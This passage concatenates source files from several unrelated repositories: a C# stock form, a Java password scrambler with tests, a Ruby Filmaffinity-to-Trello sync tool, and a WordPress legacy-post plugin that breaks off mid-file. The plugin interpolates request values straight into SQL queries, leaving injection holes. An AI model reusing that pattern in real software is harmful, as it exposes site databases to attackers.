else if (dataGridView1.SelectedRows[0].Cells[4].Value.ToString() == "Koli")
{
urunbirimicombo.SelectedIndex = 8;
}
else if (dataGridView1.SelectedRows[0].Cells[4].Value.ToString() == "Kutu")
{
urunbirimicombo.SelectedIndex = 9;
}
else if (dataGridView1.SelectedRows[0].Cells[4].Value.ToString() == "Kasa")
{
urunbirimicombo.SelectedIndex = 10;
}
else if (dataGridView1.SelectedRows[0].Cells[4].Value.ToString() == "Kamyon")
{
urunbirimicombo.SelectedIndex = 11;
}
}
}
}
<file_sep>/SistemAnaliziOtomasyon/OtomasyonMain.cs
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace SistemAnaliziOtomasyon
{
public partial class OtomasyonMain : Form
{
public OtomasyonMain()
{
InitializeComponent();
}
private void ürünlerToolStripMenuItem_Click(object sender, EventArgs e)
{
Urunler urun = new Urunler();
urun.MdiParent = this;
urun.Show();
}
private void OtomasyonMain_FormClosing(object sender, FormClosingEventArgs e)
{
Application.Exit();
}
private void stokToolStripMenuItem_Click(object sender, EventArgs e)
{
Stok stokform = new Stok();
stokform.MdiParent = this;
stokform.Show();
}
}
}
|
4bb4ee43b70e7a4b0e99003a017b2a67fa719391
|
[
"C#"
] | 2 |
C#
|
burakaykan/SistemAnaliziOtomasyon
|
a6fb1dec18d90d59aac377c2344d981b7777bed4
|
f4c53222a76fc27368ebd8343eeb83107d9750fe
|
refs/heads/master
|
<file_sep>package utilities;
import java.util.List;
/**
*
* @author <NAME>
*A class containing functions for changing chars
*/
public class Cruncher {
private StringBuilder builder = new StringBuilder();
private char[] specialSigns = { '@', '%', '+', '/', '!', '#', '$', '?', '(', ')' };
private List<Character> randomChar1 = List.of('q', 'w', 'e', 't', 'y', 'u', 'i', 'a');
private List<Character> randomChar2 = List.of('s', 'd', 'f', 'g', 'j', 'k', 'l', 'z',
'Q', 'W', 'E', 'T', 'Y', 'U', 'I', 'A');
private List<Character> randomChar3 = List.of('v', 'n', 'm', 'p', 'o', 'x', 'c',
'S', 'D', 'F', 'G', 'J', 'K', 'L', 'Z');
private List<Character> randomChar4 = List.of('b', 'n', 'm', 'h', 'r', 'b',
'V', 'N', 'M', 'P', 'O', 'X', 'C');
/**
* A method that first checks if sting is correct length and then
* invokes two methods
*
* @param s A 10 char string
* @return output A string containing numbers and special signs
*/
public String crunch(String s) {
String output = null;
if (s.length() != 10) {
throw (new RuntimeException("Something went wrong"));
} else {
s = addSpecialSigns(s);
output = addNumbers(s);
}
return output;
}
/**
* A method that puts special signs in a String
* @param s A 10 char string
* @return output A string containing special signs
*/
public String addSpecialSigns(String s) {
char[] letters = s.toCharArray();
for (int i = 0; i < letters.length; ++i) {
if (randomChar1.contains(letters[i])) {
builder.append(specialSigns[i]);
} else if (randomChar3.contains(letters[i])) {
if (i== 0) {
builder.append(specialSigns[specialSigns.length - 2]);
} else {
builder.append(specialSigns[specialSigns.length - i]);
}
} else {
builder.append(letters[i]);
}
}
return builder.toString();
}
/**
* A method adding numericals to a string
* @param s A 10 char string
* @return output A string with some numerical chars
*/
public String addNumbers(String s) {
char[] letters = s.toCharArray();
for (int i = 0; i < letters.length; ++i) {
if (randomChar2.contains(letters[i])) {
builder.append(String.valueOf(10 - i + 1));
} else if (randomChar4.contains(letters[i])) {
builder.append(String.valueOf(i + 10 / 2));
} else {
builder.append(letters[i]);
}
}
return builder.toString();
}
}
<file_sep>To build and run this application you need to have Java, Git and Maven installed.
- Open your command line interface and navigate to desired target folder
- Type and enter: git clone https://github.com/adrianbook/PSScrambler
- Navigate to PSScrambler/pws
- Type and enter: mvn clean package javadoc:javadoc
- Navigate to PSScrambler/pws/target
- Type and enter: java -jar passwordscrambler-0.0.1-SNAPSHOT.jar
- Follow the instructions in the application<file_sep>package ui;
import java.io.IOException;
import utilities.Cruncher;
import utilities.Scrambler;
/**
*
* Contains instructions for user when running in command line client and logic
* for when application starts, stops or repeats. Code by <NAME>.
**/
public class Main {
public static void main(String[] args) throws IOException {
IoControl ioControl = new IoControl();
Cruncher cruncher = new Cruncher();
System.out.println("Welcome");
System.out.println("This application converts a simple password to a more secure password containing 10 letters, digits and special characters.");
System.out.println("Enter q to quit at any time.");
System.out.println("Please enter source password.");
int i = 1;
while (i != 0) {
i = 1;
ioControl.setUserPassword(ioControl.reader.readLine());
i = i * ioControl.inputQuit();
i = i * ioControl.checkLength();
if (i > 0) {
i = i * ioControl.checkChars();
}
if (i < 0) {
System.out.println("Source password must contain 4-10 english letters or digits.");
System.out.println("Please enter source password.");
}
}
if (ioControl.inputQuit() != 0) {
try {
String scrambled = Scrambler.scramble(ioControl.getCheckedUserPassword());
String crunched = cruncher.crunch(scrambled);
System.out.println("(Scrambled: " + scrambled + ")");
System.out.println("(Crunched: " + crunched + ")");
System.out.println(crunched);
}
catch (IOException exc) {
}
}
System.out.println("Quitting...");
}
}
<file_sep>package utilities;
import static org.junit.jupiter.api.Assertions.*;
import java.io.IOException;
import org.junit.jupiter.api.Test;
class ScramblerTest {
@Test
public void inputExceptionHandlingTooShort() {
String testString = "oo";
assertThrows(IOException.class, () -> {Scrambler.scramble(testString);});
}
@Test
public void inputExceptionHandlingTooLong() {
String testString = "oooooooooooooooooooooo";
assertThrows(IOException.class, () -> {Scrambler.scramble(testString);});
}
@Test
public void arrayLengthStandardizeTest() {
char[] testArray = {'i','o','p'};
char[] testArray2 = Scrambler.lengthStandardize(testArray);
char[] result = {'i','o','p','i','o','p','i','o','p','i'};
assertArrayEquals(result, testArray2);
}
@Test
public void arrayScramblerTest() {
char[] testArray = {'a','b','c','d','e','f','g','h','i','j'};
char[] result = {'i','c','g','e','e','e','h','c','j','a'};
testArray = Scrambler.arrayScrambler(4, testArray);
assertArrayEquals(result, testArray);
}
@Test
public void scrambleTest() {
String inputString = "abcd";
String result = "accaaadcba";
try {
String outputString = Scrambler.scramble(inputString);
assertEquals(result, outputString);
}
catch (IOException exc) {
fail();
}
}
}
<file_sep>package ui;
import static org.junit.jupiter.api.Assertions.*;
import org.junit.jupiter.api.Test;
class IoControlTest {
private boolean result;
IoControl ioControl = new IoControl();
@Test
public void testQuitApplication() {
ioControl.setUserPassword("q");
if (ioControl.inputQuit() == 0) {
result = true;
} else {
result = false;
}
assertTrue(result);
}
@Test
public void testUserPasswordLength() {
ioControl.setUserPassword("qwe");
if (ioControl.checkLength() != -1) {
result = false;
} else {
result = true;
}
assertTrue(result);
}
@Test
public void testForbiddenCharacters() {
String forbiddenChars = " !\"#$%&'()*+,-./:;<=>?@[\\]^`{|}~";
for (char c : forbiddenChars.toCharArray()) {
String s = Character.toString(c);
ioControl.setUserPassword(s);
if (ioControl.checkChars() != 0) {
result = true;
assertTrue(result);
} else {
result = false;
assertTrue(result);
}
}
}
}
|
419a4b6b6151f76fd170bacc53d429784c3d2645
|
[
"Markdown",
"Java"
] | 5 |
Java
|
adrianbook/PSScrambler
|
73ee9e20ee6895e4f810e9a11c12c81b45455315
|
edac89ae2889ea5ae3a84579d9017c3a8ba0071b
|
refs/heads/master
|
<repo_name>MiguelBel/FilmaffinityToTrello<file_sep>/lib/trello/movies.rb
require 'redis'
module Trello
class Movies
class << self
def movies_to_insert
movies_to_reject = movies_ids_already_in_database
list_movies.reject { |movie| movies_to_reject.include?(movie.id) }
end
private
def redis
Redis.new
end
def movies_ids_already_in_database
Database.load_movies_ids_list
end
def filmaffinity_list_parser
Filmaffinity::ListParser.new(ENV['USER_ID'], ENV['LIST_ID'])
end
def list_movies
filmaffinity_list_parser.movies
end
end
end
end
<file_sep>/Rakefile
require_relative './lib/filmaffinity/list_parser'
require_relative './lib/filmaffinity/movie_parser'
require_relative './lib/trello/mailer'
require_relative './lib/trello/movies'
require_relative './lib/filmaffinity_to_trello'
require_relative './lib/trello/database'
desc 'Synchronize filmaffinity list with trello board'
task :synchronize do
FilmaffinityToTrello.synchronize
end<file_sep>/spec/trello/movies_spec.rb
require 'spec_helper'
describe Trello::Movies do
let(:redis) { Redis.new }
let(:movies) { [ Movie.new(157007, 'Spectre'), Movie.new(609114, 'Trumbo') ] }
before do
redis.rpush('movies_list', movies.first.id)
end
describe '.movies_to_insert' do
it 'list all the movies which are not already on the database' do
list_parser = Filmaffinity::ListParser.new(1, 1)
allow(Filmaffinity::ListParser).to receive(:new).
and_return(list_parser)
allow(list_parser).to receive(:movies).
and_return(movies)
expect(Trello::Movies.movies_to_insert).to eq([movies.last])
end
end
end
<file_sep>/lib/filmaffinity/movie_parser.rb
Movie = Struct.new(:id, :title, :image, :year)
module Filmaffinity
class MovieParser
class << self
def parse(movie)
new(movie).parse
end
end
def initialize(movie)
@movie = movie
end
def parse
Movie.new(id, title, image, year)
end
private
def id
@movie.css('.movie-card').first.attr('data-movie-id').to_i
end
def title
@movie.search('.mc-poster a').first.attr('title').strip
end
def image
@movie.search('.mc-poster a img').first.attr('src').strip
end
def year
@movie.search('.mc-title').xpath('text()').text.strip.gsub(/[()]/, "")
end
end
end
<file_sep>/README.md
# Filmaffinity to Trello
## Utility
Syncs a filmaffinity list with trello.
## Usage
Every time you run the rake it checks your first fifty (pagination is not implemented yet) films in the indicated list and created a trello card via trello-to-email in the selected board. It also have an anti-duplication service.
The thing is about automation the run of the rake on heroku for have it the service free.
_Warning: Email-To-Trello can take up to 15 minutes to delay, keep calm_
## Dependences and Environment variables
The system depends on two external apps:
- [Filmaffinity](http://www.filmaffinity.com)
- [Trello](http://www.trello.com)
And the [emailing system](http://www.postmarkapp.com) and the database (redis).
The environment variables that you have to provide are:
- USER_ID: Filmaffinity user id
- LIST_ID: Filmaffinity list id to track
_http://www.filmaffinity.com/en/userlist.php?userid=3882697&listid=1001 that is the url of one of my lists, you can extract the data from the url_
- TRELLO_EMAIL: Email of [email-to-trello](http://blog.trello.com/create-cards-via-email/)
_it looks like: <EMAIL>_
- TRELLO_LABEL: It will be added at the end of the card title if you put for example '#Films' the card will have the label '#Films', if you put the label '#Films #to_watch' it will have both labels and so on.
- POSTMARK_API_KEY: Is the API key of [Postmark](http://www.postmarkapp.com) (first 25.000 emails for free)
_it looks like: 13312ss8e-1a37-3192-9991-ss3222z8z99c_
- FROM_EMAIL: A valid postmark from email, take a look in Postmark.
- REDIS_URL: For the Redis config. Provided by Heroku
## Development
Setup:
```
git clone <EMAIL>:MiguelBel/FilmaffinityToTrello.git
cd FilmaffinityToTrello/
bundle install
```
You can execute the rake with:
```USER_ID=YOUR_VAR LIST_ID=YOUR_VAR TRELLO_EMAIL=YOUR_VAR POSTMARK_API_KEY=YOUR_VAR FROM_EMAIL=YOUR_VAR rake synchronize```
## Deploy to Heroku
Heroku is the easiest way of host the service for free.
```
heroku create
git push heroku master
heroku config:set USER_ID=YOUR_VAR LIST_ID=YOUR_VAR TRELLO_EMAIL=YOUR_VAR POSTMARK_API_KEY=YOUR_VAR FROM_EMAIL=YOUR_VAR # Set the config variables
heroku addons:create heroku-redis:hobby-dev # Adds the heroku addon, it is already configured
heroku addons:create scheduler:standard # Adds the scheduler
heroku addons:open scheduler
```
And then it will open a webpage where you have to set the job and the frequency. You call to the job with the command ```rake synchronize```
The final result should look like:

<file_sep>/spec/spec_helper.rb
require 'rspec'
require 'fakeredis'
require_relative '../lib/filmaffinity/list_parser'
require_relative '../lib/filmaffinity/movie_parser'
require_relative '../lib/trello/movies.rb'
require_relative '../lib/filmaffinity_to_trello.rb'
require_relative '../lib/trello/mailer.rb'
require_relative '../lib/trello/database.rb'
<file_sep>/lib/filmaffinity_to_trello.rb
class FilmaffinityToTrello
class << self
def synchronize
movies_to_insert = Trello::Movies.movies_to_insert
movies_to_insert.each do |movie|
Trello::Mailer.synchronize_movie(movie)
end
end
end
end
<file_sep>/lib/filmaffinity/list_parser.rb
require 'httparty'
require 'nokogiri'
module Filmaffinity
class ListParser
def initialize (user_id, list_id)
@user_id = user_id
@list_id = list_id
end
def movies
movies = []
parsed_response.css('.movie-wrapper').each do |movie|
movies << Filmaffinity::MovieParser.parse(movie)
end
movies
end
private
def url
"http://www.filmaffinity.com/en/userlist.php?user_id=#{@user_id}&list_id=#{@list_id}"
end
def petition
HTTParty.get(url)
end
def parsed_response
Nokogiri::HTML(petition.response.body)
end
end
end
<file_sep>/spec/filmaffinity/list_parser_spec.rb
require 'spec_helper'
describe Filmaffinity::ListParser do
let(:user_id) { 3882697 }
let(:list_id) { 1001 }
let(:list) { described_class.new(user_id, list_id) }
let(:expected_list) { [ Movie.new(157007, 'Spectre', 'http://pics.filmaffinity.com/Spectre-157007-medium.jpg', '2015'), Movie.new(609114, 'Trumbo', 'http://pics.filmaffinity.com/Trumbo-609114-medium.jpg', '2015') ] }
context 'when requiring all the movies' do
it 'we should have as many movies on the list' do
expect(list.movies.count).to eq(2)
end
it 'movies should have id and title attributes' do
expect(list.movies).to eq(expected_list)
end
end
end<file_sep>/lib/trello/database.rb
module Trello
class Database
class << self
def persist_movie(movie)
redis.rpush('movies_list', movie.id)
end
def load_movies_ids_list
redis.lrange('movies_list', 0, -1).map(&:to_i)
end
private
def redis
redis ||= Redis.new
end
end
end
end
<file_sep>/lib/trello/mailer.rb
require 'mail'
require 'postmark'
require 'redis'
require 'open-uri'
module Trello
class Mailer
class << self
def synchronize_movie(movie)
new(movie).synchronize_movie
end
end
def initialize(movie)
@movie = movie
end
def synchronize_movie
send_email
persist_in_database
end
private
def send_email
form_email
set_subject
set_body
add_attachments
@email.deliver
end
def form_email
@email = Mail.new do
from ENV['FROM_EMAIL']
to ENV['TRELLO_EMAIL']
delivery_method Mail::Postmark, :api_token => ENV['POSTMARK_API_KEY']
end
end
def set_subject
subject = "#{@movie.title} (#{@movie.year}) #{ENV['TRELLO_LABEL']}"
@email.subject = subject
end
def set_body
body = "Sync from Filmaffinity to Trello. http://www.filmaffinity.com/en/film#{@movie.id}.html #Films"
@email.body = body
end
def add_attachments
@email.attachments['image.jpg'] = open(@movie.image) { |i| i.read }
end
def persist_in_database
Database.persist_movie(@movie)
end
end
end
<file_sep>/Gemfile
source "https://rubygems.org"
ruby '2.2.2'
gem 'httparty'
gem 'nokogiri'
gem 'redis'
gem 'mail'
gem 'postmark'
group :test do
gem 'rspec'
gem 'vcr'
gem 'fakeredis'
end<file_sep>/spec/trello/mailer_spec.rb
require 'spec_helper'
describe Trello::Mailer do
let(:redis) { Redis.new }
let(:movie) { Movie.new(157009, 'Other Movie', 'http://pics.filmaffinity.com/Spectre-157007-medium.jpg', '2015') }
describe '.synchronize_movie' do
it 'send the email to the trello address' do
expected_mail_first = Mail.new do
from '<EMAIL>'
to '<EMAIL>'
subject 'Other Movie (2015)'
body 'two'
delivery_method Mail::Postmark, :api_token => '<PASSWORD>'
end
allow(Mail).to receive(:new).
and_return(expected_mail_first)
allow(Redis).to receive(:new).
and_return(redis)
allow(redis).to receive(:rpush)
expect(expected_mail_first).to receive(:deliver)
Trello::Mailer.synchronize_movie(movie)
end
it 'saves the movie id in the database' do
mail = Mail.new
allow(Mail).to receive(:new).
and_return(mail)
allow(mail).to receive(:deliver)
expect(Redis).to receive(:new).
and_return(redis)
expect(redis).to receive(:rpush).
with('movies_list', movie.id)
Trello::Mailer.synchronize_movie(movie)
end
end
end
<file_sep>/spec/filmaffinity_to_trello_spec.rb
require 'spec_helper'
describe FilmaffinityToTrello do
let(:list_movies) { [ Movie.new(157007, 'Spectre'), Movie.new(609114, 'Trumbo'), Movie.new(12345, 'City of God') ] }
describe '.synchronize' do
it 'calls the movies and the mailer' do
allow(Trello::Movies).to receive(:movies_to_insert).
and_return(list_movies)
list_movies.each do |movie|
expect(Trello::Mailer).to receive(:synchronize_movie).
with(movie)
end
FilmaffinityToTrello.synchronize
end
end
end
|
eda7099d2f320aa427d67b55e966a3be581970de
|
[
"Markdown",
"Ruby"
] | 14 |
Ruby
|
MiguelBel/FilmaffinityToTrello
|
a207ca6f6b8f885713af8a73a4c664e549cebe06
|
8dc84507c0ca77e2a6904fb00cdfa5a7da489057
|
refs/heads/master
|
<repo_name>besarthoxhaj/monrepo<file_sep>/start.sh
bool=true
if [ "$NODE_ENV" = 'one' ]; then
node one.js
elif [ "$NODE_ENV" = 'two' ]; then
cd dir/
pwd
npm install
node two.js
else
echo Error: No correct env variable provided. Try NODE_ENV=one or NODE_ENV=two
exit 1
fi
<file_sep>/README.md
# monrepo
Monorepos are great! Check some examples:
- [https://github.com/fastlane/monorepo](https://github.com/fastlane/monorepo)
- [https://blog.getexponent.com/universe-exponents-code-base-f12fa236b8e#.z2ee70t1o](https://blog.getexponent.com/universe-exponents-code-base-f12fa236b8e#.z2ee70t1o)
### example
React native [repository](https://github.com/facebook/react-native) uses a monorepo. The structure looks something like this:
```
./
Examples/
packager/
...blabla
react-native-cli/
index.js
package.json <-- this package has specific modules to 'react-native-cli'
package.json <-- this instead contains shared modules of the project
```
|
cfbbfa0b3705a54c96383e38f950683eee11dac4
|
[
"Markdown",
"Shell"
] | 2 |
Shell
|
besarthoxhaj/monrepo
|
8471483a1675796d78f967cdc68b9e7e1cb66b37
|
2c86f795cb1582f22cb93c7a7acb868c1b3b3a5d
|
refs/heads/master
|
<repo_name>csf1632/fun<file_sep>/lattice_paths.py
''' PE015 Lattice paths
Starting in the top left corner of a 2×2 grid, and only being able to move to the right and down,
there are exactly 6 routes to the bottom right corner. How many paths exists for 20x20 grid?
'''
grid = 20
route = []
for i in range(grid):
route.append(i+2)
for j in range(grid-1):
for i in range(grid):
if i == 0:
route[i] = route[i] + 1
else:
route[i] = route[i] + route[i-1]
print(route[grid-1])
<file_sep>/README.md
# solve some mathematical problem
|
e032b5cb72383d8a27b472f7d06f6fb4b2752b04
|
[
"Markdown",
"Python"
] | 2 |
Python
|
csf1632/fun
|
33684b7ad021ae2afa260ac334bd053811b43d8b
|
cb2449eda868e4028ec58194522ab027c128864d
|
refs/heads/master
|
<file_sep><div class="wrap" id="legacy-posts-wrapper">
<h2><span class="icon"></span>Legacy Posts <a href="admin.php?page=legacy-post-new" class="add-new-h2">Add new</a></h2>
<div id="legacy-post-actions" class="tablenav top">
<p class="alignleft">View by category: </p>
<form id="legacy-post-show-category-form" action="" method="post">
<?php
$args = array('show_option_all' => 'All Categories', 'hide_empty' => 0, 'name' => 'show_category', 'hierarchical' => true);
if (isset($_POST['show_category']))
$args['selected'] = $_POST['show_category'];
wp_dropdown_categories($args);
?>
</form>
<p class="alignleft">View by tag: </p>
<form id="legacy-post-show-tag-form" action="" method="post">
<?php
$args = array('show_option_all' => 'All Tags', 'hide_empty' => 0, 'name' => 'show_tag', 'taxonomy' => 'post_tag', 'orderby' => 'name', 'order' => 'ASC');
if (isset($_POST['show_tag']))
$args['selected'] = $_POST['show_tag'];
wp_dropdown_categories($args);
?>
</form>
</div>
<div id="legacy-post-show-all">
<table id="legacy-posts<?php if ((isset($_POST['show_category']) && $_POST['show_category'] != '0') || (isset($_POST['show_tag']) && $_POST['show_tag'] != '0')) echo '-sortable'; ?>" class="wp-list-table widefat fixed posts">
<thead>
<tr>
<th>ID</th>
<th>Title</th>
<th>Content</th>
<th>Image URL</th>
<th>Image Title</th>
<th>Post link</th>
<th>Category</th>
<?php if ((isset($_POST['show_category']) && $_POST['show_category'] != '0') || (isset($_POST['show_tag']) && $_POST['show_tag'] != '0')) : ?><th>Order</th><? endif; ?>
<th>Tags</th>
<th>Created</th>
<th>Modified</th>
<th>Actions</th>
</tr>
</thead>
<tbody class="content">
<?php
foreach ($posts as $post) :
?>
<tr>
<td class="post-id" id="<?php echo $post->id; ?>"><?php echo $post->id; ?></td>
<td><?php echo $post->title; ?></td>
<td class="content"><div class="content"><?php echo $post->content; ?></content></td>
<td><?php echo $post->img; ?></td>
<td><?php echo $post->img_title; ?></td>
<td><?php echo $post->link; ?></td>
<td><?php
$post->category = explode(',', $post->category);
$arr = array();
foreach ($post->category as $category) :
$arr[] = get_cat_name($category);
endforeach;
echo implode(', ', $arr);
?></td>
<?php if ((isset($_POST['show_category']) && $_POST['show_category'] != '0') || (isset($_POST['show_tag']) && $_POST['show_tag'] != '0')) : ?><td class="post-position" id="<?php echo $post->position; ?>"><?php echo $post->position; ?></td><? endif; ?>
<td><?php
if ($post->tags != 0) {
$post->tags = explode(',', $post->tags);
$arr = array();
foreach ($post->tags as $tag) :
$arr[] = get_tag($tag)->name;
endforeach;
echo implode(', ', $arr);
}
else
echo 'No tags defined';
?></td>
<td><?php echo $post->created; ?></td>
<td><?php echo $post->modified; ?></td>
<td><a href="?page=legacy-post-new&id=<?php echo $post->id; ?>">Edit</a> | <a href="<?php echo $post->id; ?>" class="delete">Delete</a></td>
</tr>
<?php endforeach; ?>
</tbody>
</table>
</div>
</div><file_sep>jQuery(document).ready(function($) {
$('#legacy-post-actions').find('select[name="show_category"]').bind('change', function() {
$('#legacy-post-show-category-form').submit();
});
$('#legacy-post-actions').find('select[name="show_tag"]').bind('change', function() {
$('#legacy-post-show-tag-form').submit();
});
$('td.content').each(function() {
var $this = $(this),
content = $this.text(),
$link = $("<a href='/'>Expand / Contract</a>");
$this.find('div.content').hide();
$this.append($link);
$link.bind('click', function() {
$this.find('div.content').toggle();
return false;
});
});
$('a.delete').each(function() {
var that = this;
$(this).click(function(event) {
var answer = confirm("Are you sure you want to delete this item?");
if (answer) {
$.post(ajaxurl, {
'action': 'delete_post_submit',
'post-id': $(this).attr('href'),
'nonce': LegacyPost.legacyNonce
},
function() {
$(that).parent().parent().animate({opacity: 0}, 'slow', function() {
$(that).parent().parent().remove();
});
});
}
return false;
})
});
$('#legacy-posts-sortable .content').sortable({
placeholder: 'content-highlight',
containment: 'parent',
helper: function(e, ui) {
ui.children().each(function() {
$(this).width($(this).width());
});
return ui;
},
start: function(event, ui) {
$(ui.item).css('width','100%');
},
cursor: 'move',
stop: function (event, ui) {
var id = $(ui.item).find('.post-id').attr('id'),
position = ui.item.prevAll().length+1;
$.post(ajaxurl, {
'action': 'update_position_submit',
'post-id': id,
'post-position': position,
'nonce': LegacyPost.legacyNonce
}, function(data) {
$(ui.item).effect('highlight', {color: '#c4df9b'});
});
}
});
$('#legacy-posts-sortable .content').disableSelection();
});<file_sep><div class="wrap" id="legacy-posts-new-wrapper">
<h2><span class="icon"></span>Add New Legacy Post</h2>
<div id="legacy-post-new">
<form id="legacy-post-new-form" action="" method="post">
<fieldset>
<p>
<input type="text" name="title" value="<?php echo (isset($data) ? $data->title : ''); ?>" id="title" placeholder="Enter title here"><br />
</p>
<div class="legacy-content">
<textarea name="content" rows="8" cols="40"><?php echo (isset($data) ? $data->content : ''); ?></textarea><br />
</div>
<p>
<label for="img_title">Image Title</label>
<input type="text" class="txt" name="img_title" value="<?php echo (isset($data) ? $data->img_title : ''); ?>" id="img_title"><br />
</p>
<p>
<label for="img">Image Link</label>
<input type="text" class="txt" name="img" value="<?php echo (isset($data) ? $data->img : ''); ?>" id="img"><br />
</p>
<p>
<label for="link">Post Link</label>
<input type="text" class="txt" name="link" value="<?php echo (isset($data) ? $data->link : ''); ?>" id="link"><br />
</p>
<div id="categorydiv" class="postbox ">
<h3 class="hndle">
<span>Categories</span>
</h3>
<div class="inside">
<?php
$walker = new Walker_Category_Checklist;
$taxonomy = 'category';
$categories = (array) get_terms($taxonomy, array('get' => 'all'));
$args = array();
$args['selected_cats'] = (isset($data->category) ? explode(',', $data->category) : array());
$args['popular_cats'] = array();
?>
<div id="taxonomy-<?php echo $taxonomy; ?>" class="categorydiv">
<div id="<?php echo $taxonomy; ?>-all" class="tabs-panel">
<ul id="<?php echo $taxonomy; ?>checklist" class="list:<?php echo $taxonomy?> categorychecklist form-no-clear">
<?php
echo call_user_func_array(array(&$walker, 'walk'), array($categories, 0, $args));
?>
</ul>
</div>
</div>
</div>
</div>
<div id="tagdiv" class="postbox ">
<h3 class="hndle">
<span>Tags</span>
</h3>
<div class="inside">
<?php
$walker = new Walker_Category_Checklist;
$taxonomy = 'post_tag';
$categories = (array) get_terms($taxonomy, array('get' => 'all'));
$args = array('taxonomy' => 'post_tag');
$args['selected_cats'] = (isset($data->tags) ? explode(',', $data->tags) : array());
$args['popular_cats'] = array();
?>
<div id="taxonomy-<?php echo $taxonomy; ?>" class="categorydiv">
<div id="<?php echo $taxonomy; ?>-all" class="tabs-panel">
<ul id="<?php echo $taxonomy; ?>checklist" class="list:<?php echo $taxonomy?> categorychecklist form-no-clear">
<?php
echo call_user_func_array(array(&$walker, 'walk'), array($categories, 0, $args));
?>
</ul>
</div>
</div>
</div>
</div>
</fieldset>
<p>
<input type="submit" name="legacy-post-submit" value="Publish" id="legacy-post-submit" class="button-primary"/>
</p>
<div class="clear"></div>
</form>
</div>
</div><file_sep><div id="legacy-post-errors">
<?php
foreach ($this->_errors as $error) :
?>
<?php echo $error; ?>
<br />
<?php
endforeach;
?>
</div><file_sep><?php
/*
Plugin Name: Legacy Post
Plugin URI: http://www.egstudio.biz/legacypostplugin
Description: Making 'fake' posts which redirects to legacy website to keep old links rank on search engines
Author: egstudio.biz (<NAME>, <NAME>, <NAME>)
Version: 1.1
Author URI: http://www.egstudio.biz/
*/
if (!class_exists("LegacyPost")) {
class LegacyPost {
public $_errors = array();
private $_post_id = null;
static public $_table_name = 'legacy_posts';
function __construct() {
self::is_valid_user();
if (isset($_GET['id']))
$this->_post_id = $_GET['id'];
$pages = array();
$pages[] = add_menu_page('Legacy Posts', 'Legacy Posts', 'manage_options', 'legacy-post', array($this, 'view_all_posts'), null, 6);
$pages[] = add_submenu_page('legacy-post', 'Add New', 'Add New', 'manage_options', 'legacy-post-new', (array($this, 'view_new_post')));
foreach ($pages as $page)
add_action('admin_print_styles-' . $page, 'legacypost_plugin_admin_styles');
}
private function get_category_last_position($category) {
return (int)(($this->fix_category_last_position($category)) + 1);
}
private function fix_category_last_position($category) {
global $wpdb;
$table = $wpdb->prefix.self::$_table_name;
$posts = $wpdb->get_results("SELECT id, position FROM $table WHERE category = '$category' ORDER BY position ASC", ARRAY_A);
$i = 0;
$posts_size = sizeof($posts);
for ($i; $i < $posts_size; $i++)
$posts[$i]['position'] = $i+1;
foreach ($posts as $post) {
try {
$this->update($post);
}
catch (Exception $e) {
$this->_errors[] = $e->getMessage();
}
}
return $i;
}
private function add($args) {
global $wpdb;
$table = $wpdb->prefix.self::$_table_name;
$args['position'] = $this->get_category_last_position($args['category']);
$wpdb->insert($table, $args);
if ($wpdb->insert_id === false)
throw new Exception('Could not save content to database.');
return $wpdb->insert_id;
}
private function update($args) {
global $wpdb;
$table = $wpdb->prefix.self::$_table_name;
if (!isset($args['position']))
$args['modified'] = date('Y-m-d H:i:s');
$result = $wpdb->update($table, $args, array('id' => $args['id']));
if ($result === false)
throw new Exception("Could not update {$args['id']} into database.");
return true;
}
public function view_all_posts() {
global $wpdb;
$table = $wpdb->prefix.self::$_table_name;
$sql = "SELECT id, title, content, img, img_title, link, category, position, tags, created, modified FROM $table";
if (isset($_POST['show_category']) && $_POST['show_category'] != '0')
$sql .= " WHERE category LIKE '%{$_POST['show_category']}%' ORDER BY position ASC";
elseif (isset($_POST['show_tag']) && $_POST['show_tag'] != '0')
$sql .= " WHERE tags LIKE '%{$_POST['show_tag']}%' ORDER BY position ASC";
else
$sql .= " ORDER BY category, position ASC";
$posts = $wpdb->get_results($sql,OBJECT);
include_once 'php/admin_show.php';
}
public function view_new_post() {
if (isset($_POST['legacy-post-submit'])) {
$args = array(
'title' => $_POST['title'],
'content' => $_POST['content'],
'img' => $_POST['img'],
'img_title' => $_POST['img_title'],
'link' => $_POST['link'],
'category' => implode(',', $_POST['post_category']),
'tags' => implode(',', $_POST['tax_input']['post_tag']),
'created' => date('Y-m-d H:i:s'),
'modified' => date('Y-m-d H:i:s')
);
try {
if (isset($_GET['id'])) {
$args['id'] = $_GET['id'];
$result = $this->update($args);
}
else
$result = $this->add($args);
}
catch (Exception $e) {
$this->_errors[] = $e->getMessage();
}
if ($result !== false) {
$this->_errors[] = 'Success!';
}
}
include_once 'php/errors.php';
if (isset($_POST['legacy-post-submit']) || isset($_POST['legacy-post-show-category-form'])) {
$this->view_all_posts();
}
else {
if (isset($this->_post_id))
$data = self::get_post($this->_post_id);
require_once('./includes/meta-boxes.php');
include_once 'php/admin_post_new.php';
}
}
static public function install() {
global $wpdb;
$table = $wpdb->prefix.self::$_table_name;
$sql = "CREATE TABLE $table (
`id` MEDIUMINT( 9 ) UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY ,
`title` VARCHAR( 255 ) NOT NULL ,
`content` TEXT NOT NULL ,
`img` VARCHAR( 255 ) NOT NULL ,
`img_title` VARCHAR( 255 ) NOT NULL ,
`link` VARCHAR( 255 ) NOT NULL ,
`category` VARCHAR( 255 ) NOT NULL ,
`position` SMALLINT UNSIGNED NOT NULL ,
`tags` VARCHAR( 255 ) NOT NULL ,
`created` TIMESTAMP NOT NULL ,
`modified` TIMESTAMP NOT NULL
);";
require_once(ABSPATH . 'wp-admin/includes/upgrade.php');
dbDelta($sql);
}
static public function uninstall() {
global $wpdb;
$table = $wpdb->prefix.self::$_table_name;
$wpdb->query("DROP TABLE $table");
}
static private function is_valid_user() {
if (!current_user_can( 'manage_options'))
wp_die(__('You do not have sufficient permissions to access this page.'));
}
static private function get_post($id) {
global $wpdb;
$table = $wpdb->prefix.self::$_table_name;
return $wpdb->get_row("SELECT * FROM $table WHERE id = '$id'", OBJECT);
}
static public function get_legacy_posts(){
global $wpdb;
$table = $wpdb->prefix.self::$_table_name;
$sql = "SELECT id, title, content, img, img_title, link, category, position, created, modified FROM $table";
$results = $wpdb->get_results($sql,OBJECT);
return $results;
}
}
}
function legacypost_add_admin_panel() {
$legacypost = new LegacyPost();
}
function legacypost_add_admin_panel_scripts() {
